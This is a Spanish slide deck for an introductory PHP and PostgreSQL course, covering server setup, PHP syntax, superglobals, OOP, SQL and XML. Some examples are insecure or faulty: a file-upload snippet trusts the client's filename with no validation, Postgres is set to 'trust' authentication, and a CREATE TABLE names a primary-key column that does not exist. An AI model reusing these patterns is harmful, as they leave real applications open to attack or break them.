2. Presentación del Curso
Descripción:
• Tema: PHP con conexión a BD Postgres
• Horario: Lunes a Viernes de 15:00 a 18:30 y 19:30 a 22:00
• Instructor: Jorge Arévalo Bórquez – jaareval@uc.cl
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Presentación del Curso
3. Presentación del Curso
Evaluación:
• 2 pruebas teóricas
• Duración: 20 a 30 minutos.
• Días: Miércoles y Jueves.
• Hora: 15:00
Su promedio valdrá el 50% de la nota final del curso.
• 1 prueba práctica
• Duración: 3 horas.
• Día: Viernes
• Hora: 18:00
Valdrá un 50% de la nota final del curso.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Presentación del Curso
4. Introducción
¿Qué es PHP?
PHP es un lenguaje de programación usado normalmente para la
creación de páginas web dinámicas. PHP es un acrónimo recursivo
que significa quot;PHP Hypertext Pre-processorquot; (inicialmente PHP
Tools, o, Personal Home Page Tools), y se trata de un lenguaje
interpretado. Últimamente también puede ser utilizado para la
creación de otro tipo de programas incluyendo aplicaciones con
interfaz gráfica usando las librerías Qt o GTK+.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
5. Introducción
¿Qué es PostgreSQL?
PostgreSQL es un servidor de base de datos objeto relacional
libre, liberado bajo la licencia BSD. Como muchos otros proyectos
open source, el desarrollo de PostgreSQL no es manejado por una
sola compañía sino que es dirigido por una comunidad de
desarrolladores y organizaciones comerciales las cuales trabajan
en su desarrollo, dicha comunidad es denominada el PGDG
(PostgreSQL Global Development Group).
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
6. Introducción
Requerimientos:
• Un Servidor Web, por ejemplo Apache (http://httpd.apache.org)
• Un intérprete PHP (http://www.php.net)
• Un Servidor de BD Postgres (http://www.postgresql.org,
http://www.postgresql.cl)
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
7. Introducción
Instalación de Apache y PHP:
Inicialmente usaremos la instalación a través de RPMs de Apache,
incluyendo el módulo PHP.
Más tarde compilaremos los fuentes de modo de optimizar la
ejecución.
Si no está instalada la interfaz gráfica de paquetes.
~ sudo yum install httpd httpd-devel httpd-suexec
~ sudo yum install php
Probar en un navegador con la dirección http://localhost
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
8. Introducción
Instalación de PostgreSQL:
Inicialmente usaremos la instalación a través de RPMs de
postgresql, incluyendo el módulo para que PHP se pueda
comunicar con PostgreSQL.
Más tarde compilaremos los fuentes de modo de optimizar la
ejecución.
Si no está instalada la interfaz gráfica de paquetes.
~ sudo yum -y install postgresql postgresql-server php-pgsql
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
9. Introducción
Configuración Básica de Apache:
Los ficheros de configuración están en : /etc/httpd
Los ficheros de log en : /var/log/httpd
Los ficheros de módulos en : /usr/lib/httpd/modules
~ sudo chkconfig httpd on
El archivo de configuración principal de Apache es httpd.conf
ServerTokens Prod
# Lo queremos a Prod, para impeder que el resto de la gente sepa
que versión de apache estamos utilizando
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
10. Introducción
Configuración Básica de Apache:
Después de los <IfModule *>
Listen 192.168.1.100:80
Listen 192.168.1.101:81
# Ponemos Apache a escuchar por la IP en la que vamos a servir
el contenido
Después de la lista de módulos
ServerAdmin miemail@miservidordecorreo.com
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
11. Introducción
Configuración Básica de Apache:
DirectoryIndex index.html index.php index.htm
# El órden de búsqueda de documentos de apache Primero
buscará el index.html, luego el index.php y luego el index.htm
ServerSignature OFF
# Para evitar mostrar la versión de apache en los ficheros de Error
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
12. Introducción
Configuración Básica de Apache:
NameVirtualHost 192.168.1.101:80
<VirtualHost 192.168.1.101:80>
ServerName cursophp.org
ServerAlias *.cursophp.org
DocumentRoot /usr/local/cursophp
ErrorLog logs/cursophp.error.log
CustomLog logs/cursophp.access.log combined
ServerAdmin webmaster@cursophp.org
</VirtualHost>
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
13. Introducción
Configuración Básica de PostgresSQL:
Crear el primer usuario y base de datos:
su – postgres
psql template1
psql# create user web_user;
psql# create database web_database owner web_user;
psql# q
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
14. Introducción
Configuración Básica de PostgresSQL:
Editar el archivo /var/lib/pgsql/data/pg_hba.conf
local all all trust
Reiniciar el servidor
/sbin/service postgresql restart
Las base de datos se encuentran en:
psql -U web_user web_database
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
15. Introducción a PHP
¡Hola Mundo!
Crear el archivo /usr/local/cursophp/holamundo.php con el
siguiente contenido:
<html>
<head>
<title>Ejemplo</title>
</head>
<body>
<h3>Mi primer ejemplo php</h3>
<?php echo quot;hola mundoquot;; ?>
<hr>
</body>
</html>
PHP con Postgres – Linux Center – Clase 1 – Introducción a PHP
16. Introducción a PHP
Tags Delimitadores de Código :
El código PHP debe ir dentro de tags php, los cuales pueden ser
cualquiera de los siguientes:
• <? ?>
• <?php ?>
• <script language=“php”></script>
• <% %>
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
17. Introducción a PHP
Variables:
PHP es un lenguaje débilmente tipado: el intértprete decidirá el tipo
de la variable según su contenido.
Los principales tipos de datos que soporta son:
• Enteros
• Punto Flotante
• Cadenas
• Lógicos
• Vectores
• Objetos
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
18. Introducción a PHP
Variables:
Los nombres de las variables son Case Sensitive, un signo $
delante del nombre advierte que es una variable (su uso es
obligatorio).
Pueden asignarse por valor y por refencia.
Por valor: $a=$b;
Por referencia: $a=&$b;
Ya que el signo peso indica el uso de la variable que tiene como
nombre el texto que le sigue, podemos tener “nombres de variables
variables”. Ejemplo :
$var=“mivariable”;
$$var es equivalente a $mivariable
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
19. Introducción a PHP
Strings:
Los Strings en php se concatenan usando el operador . y pueden
especificarse usando comillas simples o dobles como
delimitadores.
Las comillas simples (‘’) hacen un uso literal de los caracteres que
incluya.
Las comillas dobles: reemplazarán las variables que aparezcan por
sus valores, y los caracteres de escape estilo C (n, t, etc.)
Para representar comillas dobles uso el carácter de escape ”
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
20. Introducción a PHP
Vectores:
En php existen 2 clases de vectores:
• Escalares: cada posición es identificada por un número.
$a[0]=“Hola”;
$a[1]=“Mundo”;
$a[]=“!”;
$b=array(“Hola”, “Mundo”, “!”);
• Asociativos (Hash): cada elemento es identificado por una
cadena
$c[“nombre”]=“Silvia”;
$c[“edad”]=21;
$d=array(“nombre”=>”Silvia”, “edad”=>21);
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
21. Introducción a PHP
Sentencias de control:
Falta completar
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
22. Introducción a PHP
Funciones:
Para definir una función, basta con escribir la palabra reservada
function seguida del nombre de la función y a continuación la lista
de parámetros entre paréntesis. El cuerpo de la función se escribe,
a continuación, entre llaves.
Function miFunction($arg1, $arg2, … , $argN){
//Cuerpo de la función
return $valorDeRetorno;
}
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
23. Introducción a PHP
Variables AutoGlobales:
Desde la versión 4.1.0 de PHP existen un conjunto de vectores que
contienen variables de las transacciones HTTP, el servidor y el
usuario.
Estas son automáticamente accesibles desde cualquier script y
desde cualquier parte de él.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
24. Introducción a PHP
Variables AutoGlobales:
Estos vectores asociativos son:
$GLOBALS Contiene una referencia a cada variable accesible
desde el script.
$_SERVER Contiene información del servidor.
$_GET Variables pasadas via HTTP GET.
$_POST Variables pasadas al script vía HTTP POST.
$_COOKIE Variables pasadas al script vía cookies HTTP.
$_FILES Variables que controlan la subida de ficheros
mediante HTTP.
$_ENV Variables de entorno.
$_REQUEST Une el contenido de $_GET, $_POST y $_COOKIE.
$_SESSION Variables registradas en la sesión actual.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
25. Introducción a PHP
$_SERVER:
'PHP_SELF‘
El nombre de archivo del script ejecutándose actualmente, relativo
a la raíz de documentos. Por ejemplo, $_SERVER['PHP_SELF']
en un script en la dirección
http://cursophp.org/test_php/prueba.php sería
/test_php/prueba.php
'SERVER_NAME'
El nombre del servidor anfitrión bajo el que está siendo ejecutado
el script actual. Si el script está corriendo en un host virtual, éste
será el valor definido para tal host virtual.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
26. Introducción a PHP
$_SERVER:
'REQUEST_METHOD'
Cuál método de petición fue usado para acceder a la página; i.e.
'GET', 'HEAD', 'POST‘.
'QUERY_STRING'
La cadena de consulta, si existe, mediante la cual se accedió
a la página
'DOCUMENT_ROOT'
El directorio raíz de documentos bajo el que está siendo ejecutado
el script actual, tal y como se define en el archivo de configuración
del servidor.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
27. Introducción a PHP
$_SERVER:
'HTTP_USER_AGENT'
Contenidos de la cabecera User_Agent: de la petición actual, si
existe. Esta es una cadena que denota el agente de usuario que
está accediendo a la página. Un ejemplo típico es: Mozilla/4.5 [en]
(X11; U; Linux 2.2.9 i586)
'REMOTE_ADDR'
La dirección IP desde donde el usuario está observado la
página actual.
'SCRIPT_FILENAME'
La ruta absoluta del nombre del script siendo ejecutado
actualmente
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
28. Introducción a PHP
$_COOKIE:
Es un vector asociativo que contiene cada una de las cookies que el
usuario tenga registradas y hayan sido enviadas por el servidor en la
cabecera http.
Se crean con la función:
setcookie(Nombre, Valor, Tiempo_Vida, Path, Dominio, Seguro);
Si se crea una cookie con el nombre, path y dominio de otra, esta se
reemplaza por la nueva. (En algunos casos, basta con que coincida el
nombre.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
29. Introducción a PHP
$_SESSION:
Se comienza una sesión (en caso de que aún no haya comenzado)
con la función session_start() ;
Para borrar una variable ya asignada a sesión usamos:
unset($_SESSION[“nombre_dato”]);
Para terminar una sesión usamos: session_destroy();
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
30. Introducción a PHP
$_FILES:
Cuando en un formulario HTML se envia un archivo, este copiado a
una carpeta temporal en el servidor y envia la información en las
cabeceras. PHP puede recuperar esta información mediante el arreglo
asociativo $_FILES.
Para guardarlo hacemos lo siguiente:
<? $destino = 'uploaded' ;
move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino . '/' .
$_FILES [ 'file' ][ 'name' ]); ?>
Donde $_FILES['file']['tmp_name'] identificara el archivo temporal
subido al servidor, $destino, la carpeta en la que lo queremos mover y
$_FILES['file']['name'] el nombre original del archivo.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
31. Introducción a PHP
$_FILES:
Además también podemos conocer otros parámetros del fichero
subido como por ejemplo el tamaño, vamos a ver un ejemplo:
<? $destino = 'uploaded' ;
$tamano = $_FILES [ 'file' ][ 'size' ];
if( $tamano < 500 ){
move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino
. '/' . $_FILES [ 'file' ][ 'name' ]);
}
else
echo quot;El tamaño es superior al permitidoquot; ;
?>
Tambien podemos saber el tipo de archivo subido con la siguiente
variable: $_FILES['file']['type'];
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
32. Introducción a PHP
$_FILES:
Además también podemos conocer otros parámetros del fichero
subido como por ejemplo el tamaño, vamos a ver un ejemplo:
<? $destino = 'uploaded' ;
$tamano = $_FILES [ 'file' ][ 'size' ];
if( $tamano < 500 ){
move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino
. '/' . $_FILES [ 'file' ][ 'name' ]);
}
else
echo quot;El tamaño es superior al permitidoquot; ;
?>
Tambien podemos saber el tipo de archivo subido con la siguiente
variable: $_FILES['file']['type'];
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
33. Orientación a Objetos
Introducción:
La Programación Orientada a Objetos (POO u OOP según sus
siglas en inglés) es un paradigma de programación que usa objetos y
sus interacciones para diseñar aplicaciones y programas de
computadora. Está basado en varias técnicas, incluyendo herencia,
modularidad, polimorfismo, y encapsulamiento. Su uso se popularizó a
principios de la década de 1990. Actualmente varios lenguajes de
programación soportan la orientación a objetos.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
34. Orientación a Objetos
Objetos:
Los objetos son entidades que combinan estado, comportamiento e
identidad. El estado está compuesto de datos, y el comportamiento por
procedimientos o métodos. La identidad es una propiedad de un objeto
que lo diferencia del resto. La programación orientada a objetos
expresa un programa como un conjunto de estos objetos, que
colaboran entre ellos para realizar tareas. Esto permite hacer los
programas y módulos más fáciles de escribir, mantener y reutilizar.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
35. Orientación a Objetos
Clases:
Corresponde a la definición de las propiedades (atributos) y
comportamiento (métodos) de un tipo genérico de objetos. Al proceso
de crear un objeto desde una clase se le conoce como instanciación.
Debemos diferenciar, varios tipos de clases. En una primera instancia,
veremos las clases concretas y las clases abstractas.
Las primeras son clases que tienen como objetivo, ser instanciadas y
por tanto, se convierten en un “tipo de datos especial”
Las clases abstractas por el contrario, no se espera (y en muchos
casos no se puede) que se instancien. Su objetivo es servir como base
a nuevas clases más específicas.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
36. Orientación a Objetos
Características: Abstracción
Cada objeto en el sistema sirve como modelo de un quot;agentequot; abstracto
que puede realizar trabajo, informar y cambiar su estado, y
quot;comunicarsequot; con otros objetos en el sistema sin revelar cómo se
implementan estas características. Los procesos, las funciones o los
métodos pueden también ser abstraídos y cuando lo están, una
variedad de técnicas son requeridas para ampliar una abstracción.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
37. Orientación a Objetos
Características: Encapsulamiento
Significa reunir a todos los elementos que pueden considerarse
pertenecientes a una misma entidad, al mismo nivel de abstracción.
Esto permite aumentar la cohesión de los componentes del sistema.
Algunos autores confunden este concepto con el principio de
ocultación, principalmente porque se suelen emplear conjuntamente.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
38. Orientación a Objetos
Características: Ocultamiento
Cada objeto está aislado del exterior, es un módulo natural, y cada tipo
de objeto expone una interfaz a otros objetos que especifica cómo
pueden interactuar con los objetos de la clase. El aislamiento protege a
las propiedades de un objeto contra su modificación por quien no
tenga derecho a acceder a ellas, solamente los propios métodos
internos del objeto pueden acceder a su estado.
Esto asegura que otros objetos no pueden cambiar el estado interno
de un objeto de maneras inesperadas, eliminando efectos secundarios
e interacciones inesperadas. Algunos lenguajes relajan esto,
permitiendo un acceso directo a los datos internos del objeto de una
manera controlada y limitando el grado de abstracción. La aplicación
entera se reduce a un agregado o rompecabezas de objetos.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
39. Orientación a Objetos
Características: Polimorfismo
Comportamientos diferentes, asociados a objetos distintos, pueden
compartir el mismo nombre, al llamarlos por ese nombre se utilizará el
comportamiento correspondiente al objeto que se esté usando. O
dicho de otro modo, las referencias y las colecciones de objetos
pueden contener objetos de diferentes tipos, y la invocación de un
comportamiento en una referencia producirá el comportamiento
correcto para el tipo real del objeto referenciado.
Cuando esto ocurre en quot;tiempo de ejecuciónquot;, esta última
característica se llama asignación tardía o asignación dinámica.
Algunos lenguajes proporcionan medios más estáticos (en quot;tiempo de
compilaciónquot;) de polimorfismo, tales como las plantillas y la sobrecarga
de operadores de C++.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
40. Orientación a Objetos
Características: Herencia
Las clases no están aisladas, sino que se relacionan entre sí,
formando una jerarquía de clasificación. Los objetos heredan las
propiedades y el comportamiento de todas las clases a las que
pertenecen.
La herencia organiza y facilita el polimorfismo y el encapsulamiento
permitiendo a los objetos ser definidos y creados como tipos
especializados de objetos preexistentes.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
41. OOP en PHP
Creación de Clases:
Se debe seguir la siguiente estructura para crear una clase:
<? class NombreDeClase{
var $atributo1, $atributo2, …, $atributoN;
function nombreDeClase($arg1, …, $argN){
//Constructor de la clase
}
function metodoNumero1($arg1, …, $argN){
}
…
function metodoNumero2($arg1, …, $argN){
}
} ?>
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
42. OOP en PHP
Instanciación:
Para crear un objeto desde una clase, lo hacemos mediante el
operador new:
$miObjeto=new NombreDeClase(arg1, …, argN);
Para acceder a sus métodos, usamos el operador -> :
$retorno=$miObjeto->metodoNumero1(arg1, …, argN);
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
43. OOP en PHP
Herencia:
Para diseñar una clase que herede de (o extienda a) otra clase
debemos usar la palabra clave extends de la siguiente manera:
class ClaseEspecifica extends ClasePadre{
var $nuevosAtributos;
function ClaseEspecifica($arg1, …, $argN){
//constructor
}
function nuevoMetodo($arg1, …, $argN){
}
}
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
44. OOP en PHP
Ejercicio:
1. Diseñar una clase que represente a un contacto dentro de nuestra
agenda.
2. Diseñar una clase que represente a la agenda.
Lo anterior permitiendo que se guarden los datos en cookies como
la última vez, pero delegando estas responsabilidades a quien
corresponda.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
45. Operadores de PHP
Aritméticos:
$a + $b Suma
$a - $b Resta
$a * $b Multiplicación
$a / $b División
$a % $b Módulo (Resto de división entera)
$a++ Incremento (Retorna después incrementa)
++$a Incremento (Incrementa después retorna)
$a-- Decremento (Retorna después decrementa)
--$a Decremento (Decrementa después retorna)
$a+=$b Incrementa $a en $b unidades
$a-=$b Decrementa $a en $b unidades
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores
46. Operadores de PHP
Comparación:
$a == $b Igual
$a === $b Idéntico
$a != $b Distinto
$a <> $b Distinto
$a !== $b No idéntico
$a < $b Menor que
$a > $b Mayor que
$a <= $b Menor o igual que
$a >= $b Mayor o igual que
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores
47. Operadores de PHP
Lógicos:
$a and $b AND
$a or $b OR
$a xor $b XOR
! $a NOT
$a && $b AND
$a || $b OR
$a?$b:$c Tiene como valor $b siempre que $a sea verdadero
y $c en caso contrario.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores
48. PostgreSQL
Introducción:
• Es un gestor de base de datos relacional
• Es de codigo abierto bajo licencia BSD
• Es multiplataforma
• Tiene un alto nivel de seguridad
• Existe una amplia comunidad que nos ayuda con el soporte
• Ofrece Integridad referencial
• Maneja las concurrencias
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – PostgreSQL
49. PostgreSQL - Sentencias SQL
Creación de tablas:
create table contactos (
id INT,
nombre VARCHAR(20),
edad INT,
correo VARCHAR(20),
primary key (id_persona)
);
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
50. PostgreSQL - Sentencias SQL
Modificación de tablas:
alter table contactos
add column telefono VARCHAR(10);
alter table contactos
drop column telefono;
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
51. PostgreSQL - Sentencias SQL
Manejo registros:
insert into contactos
(id,nombre,edad,correo) values
(1,’Jorge’,25,’jaareval@uc.cl’);
update contactos set
nombre=‘Jorge Arevalo’
where id=1;
delete from contactos where id=1;
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
52. PostgreSQL - Sentencias SQL
Crear Consultas:
select * from contactos
where nombre like ‘J%’;
Create view vista_jotas as
select * from contactos
where nombre like ‘J%’;
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
53. PostgreSQL desde PHP
Configuración:
Debemos asegurarnos que el archivo php.ini
(habitualmente en /usr/local/lib ) contenga la linea:
extension=pgsql.so en linux y
extension=pgsql.dll en windows
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PostgreSQL
54. PostgreSQL desde PHP
Ejemplo:
<?php
$conexion_bd = pg_connect(quot;host=localhost dbname=web_database user=web_userquot;)
or die('No pudo conectarse: ' . pg_last_error());
$consulta = 'SELECT * FROM autores';
$resultado = pg_query($consulta) or die('Consulta fallida: ' . pg_last_error());
echo quot;<table>nquot;;
while ($linea = pg_fetch_array($resultado, null, PGSQL_ASSOC)) {
echo quot;t<tr>nquot;;
foreach ($linea as $valor_col) {
echo quot;tt<td>$valor_col</td>nquot;;
}
echo quot;t</tr>nquot;;
}
echo quot;</table>nquot;;
pg_free_result($resultado);
pg_close($conexion_bd);
?>
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
55. PostgreSQL desde PHP
Ejemplo (Análisis):
$conexion_bd = pg_connect(quot;host=localhost
dbname=web_database user=web_userquot;)
or die('No pudo conectarse: ' . pg_last_error());
pg_connect retorna un apuntador a la conexión, que será
guardado en $conexion_bd recibe un único parámetro que
corresponde a la cadena de conexión.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
56. PostgreSQL desde PHP
Ejemplo (Análisis – pg_connect):
En esta cadena pueden definirse los siguientes parámetros:
• host La máquina donde escucha el servidor
PostgreSQL
• port Puerto de conexión.
• tty TTY a utilizar. Interesante a la hora de depurar.
• options Opciones adicionales.
• dbname Nombre de la base de datos a la que se quiere
conectar.
• user Nombre del usuario PostgreSQL con el que se
realizará la conexión.
• pass Contraseña para la conexión.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
57. PostgreSQL desde PHP
Ejemplo (Análisis):
$conexion_bd = pg_connect(quot;host=localhost
dbname=web_database user=web_userquot;)
or die('No pudo conectarse: ' . pg_last_error());
or die() realiza un echo del string que recibe como parametro
en caso de que la llamada a alguna función resulte en un
error.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
58. PostgreSQL desde PHP
Ejemplo (Análisis):
$consulta = 'SELECT * FROM autores';
$resultado = pg_query($consulta)
or die('Consulta fallida: ' . pg_last_error());
$consulta corresponde al string que representa la
consulta.
pg_query($consulta) retorna un apuntador a un
resultado de consulta (no me ofrece forma de
manejarlo).
La función pg_query() debe tener alguna de las 2 formas
siguientes:
• $result=pg_query($conexion,$consulta);
• $result=pg_query($consulta);
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
59. PostgreSQL desde PHP
Ejemplo (Análisis):
$linea = pg_fetch_array($resultado, null, PGSQL_ASSOC)
En $linea almacenará la siguiente fila del resultado en forma de array
asociativo usando el nombre del campo como clave.
Los parámetros que recibe pg_fetch_array() son, en orden de izquierda
a derecha:
• $resultado apuntador al conjunto de resultados
• $row entero que indica la fila dentro del conjunto de resultados
que se desea recuperar, null en caso que queramos recuperar la
siguiente a la última que se recuperó.
• $result_type entero que indica de que manera debe retornar la fila:
PGSQL_ASSOC (Arreglo asociativo) PGSL_NUM (Arreglo escalar)
PGSQL_BOTH (Ambos)
Si la fila que se pretende recuperar no existe retorna false
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
60. PostgreSQL desde PHP
Ejemplo (Análisis – manejar resultados):
Existen otras funciones que nos permiten recuperar los resultados:
• pg_fetch_all Devuelve un vector que contiene todos los registros
devueltos por la consulta.
• pg_fetch_array Devuelve la siguiente fila del resultado en forma de
vector. El primer elemento será la primera columna, el segundo la
segunda, etc. Devuelve falso si no encuentra más registros.
• pg_fetch_assoc Devuelve la siguiente fila del resultado en forma de
vector asociativo. Como claves del vector usa los nombres de los
campos. Devuelve falso si no encuentra más registros.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
61. PostgreSQL desde PHP
Ejemplo (Análisis – manejar resultados):
• pg_fetch_object Devuelve una fila del resultado en forma de objeto.
Por cada columna de la fila existirá un atributo del mismo nombre.
• pg_fetch_result Devuelve un valor de un resultado. Se le especifica
fila y columna.
• pg_fetch_row Devuelve una fila del resultado en forma de vector. El
primer elemento será la primera columna, el segundo la segunda, etc.
Devuelve falso si no encuentra más registros.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
62. PostgreSQL desde PHP
Ejemplo (Análisis – manejar resultados):
Tenemos también la función pg_num_rows($result)
que devuelve la cantidad de filas en el resultado
apuntado por $result
Y también la función pg_affected_rows($result) que
devuelve la cantidad de filas afectadas por una
sentencia sql de update.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
63. PostgreSQL desde PHP
Ejemplo (Análisis):
Será necesario liberar la memoria que estaba usando el conjunto de
resultados, para ello usamos la función:
pg_free_result($resultado);
Lo mismo habrá que hacer con la base de datos.
pg_close($conexion_bd);
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
64. PostgreSQL desde PHP
Ejercicio:
Modificar nuestra agenda, de modo que se guarden los datos en la BD.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
65. XML
Introducción:
XML, sigla en inglés de eXtensible Markup Language, es un
metalenguaje extensible de etiquetas desarrollado por el World
Wide Web Consortium (W3C).
Es una simplificación y adaptación del SGML y permite definir la
gramática de lenguajes específicos (de la misma manera que
HTML es a su vez un lenguaje definido por SGML).
Por lo tanto XML no es realmente un lenguaje en particular, sino
una manera de definir lenguajes para diferentes necesidades.
Algunos de estos lenguajes que usan XML para su definición son
XHTML, SVG, MathML.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
66. XML
¿Para qué sirve?:
XML no ha nacido sólo para su aplicación en Internet, sino que se
propone como un estándar para el intercambio de información
estructurada entre diferentes plataformas.
Se puede usar en bases de datos, editores de texto, hojas de
cálculo y casi cualquier cosa imaginable.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
67. XML
Ventajas:
• Es extensible, lo que quiere decir que una vez diseñado un
lenguaje y puesto en producción, igual es posible extenderlo con
la adición de nuevas etiquetas de manera de que los antiguos
consumidores de la vieja versión todavía puedan entender el
nuevo formato.
• El analizador es un componente estándar, no es necesario crear
un analizador específico para cada lenguaje. Esto posibilita el
empleo de uno de los tantos disponibles. De esta manera se
evitan bugs y se acelera el desarrollo de la aplicación.
• Si un tercero decide usar un documento creado en XML, es
sencillo entender su estructura y procesarlo. Mejora la
compatibilidad entre aplicaciones.
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
68. XML
Ejemplo de XML:
<?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot; ?>
<!DOCTYPE Edit_Mensaje SYSTEM quot;Lista_datos_mensaje.dtdquot; [<!ELEMENT Edit_Mensaje (Mensaje)*>]>
<Edit_Mensaje>
<Mensaje>
<Remitente>
<Nombre>Nombre del remitente</Nombre>
<Mail> Correo del remitente </Mail>
</Remitente>
<Destinatario>
<Nombre>Nombre del destinatario</Nombre>
<Mail>Correo del destinatario</Mail>
</Destinatario>
<Texto>
<Parrafo> Este es mi documento con una estructura muy sencilla no
contiene atributos ni entidades....
</Parrafo>
</Texto>
</Mensaje>
</Edit_Mensaje>
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
69. XML
Ejemplo de DTD:
<?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot; ?>
<!-- Este es el DTD de Edit_Mensaje -->
<!ELEMENT Mensaje (Remitente, Destinatario, Asunto, Texto)*>
<!ELEMENT Remitente (Nombre, Mail)>
<!ELEMENT Nombre (#PCDATA)>
<!ELEMENT Mail (#PCDATA)>
<!ELEMENT Destinatario (Nombre, Mail)>
<!ELEMENT Nombre (#PCDATA)>
<!ELEMENT Mail (#PCDATA)>
<!ELEMENT Asunto (#PCDATA)>
<!ELEMENT Texto (Parrafo)>
<!ELEMENT Parrafo (#PCDATA)>
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – XML : DTDs
70. XML
DTD:
<!ELEMENT nombreElemento (sEl1*,sEl2+,sEl3?) >
* Indica que el elemento puede aparecer 0 ó más veces
+ indica que el elemento puede aparecer 1 ó más veces
? Indica que el elemento puede aparecer 0 ó 1 vez
<!ELEMENT nombre (sEl1|sEl2) >
| indica que debo elegir alguno de los dos elementos
<!ELEMENT nombre (#PCDATA|sEl1) >
Para aceptar que un elemento tenga texto o subelementos
<!ELEMENT nombre (sEl1,sEL2) >
<!ATTLIST nombre
at1 CDATA #REQUIRED
at2 CDATA #IMPLIED
at3 ID #REQUIRED
at4 (yes | no) #REQUIRED >
Tipo ID puede haber sólo 1, at4 tiene definido los valores que
puede recibir, para definir el valor por defecto de un #IMPLIED se
reemplaza #IMPLIED por este valor
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – XML : DTDs
71. XML desde PHP
Ejemplo de XML:
<?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot;?>
<bloque>
<noticia>
<titulo>Hola Caracola </titulo>
<autor>KaoS</autor>
<cuerpo>Olla Kaitos a Luisete</cuerpo>
</noticia>
<noticia>
<titulo>Nuevo articulo en desarrolloweb </titulo>
<autor>Raul</autor>
<cuerpo>Jeje hola, aqui estamos </cuerpo>
</noticia>
</bloque>
Guardarlo en “noticias.xml”
PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
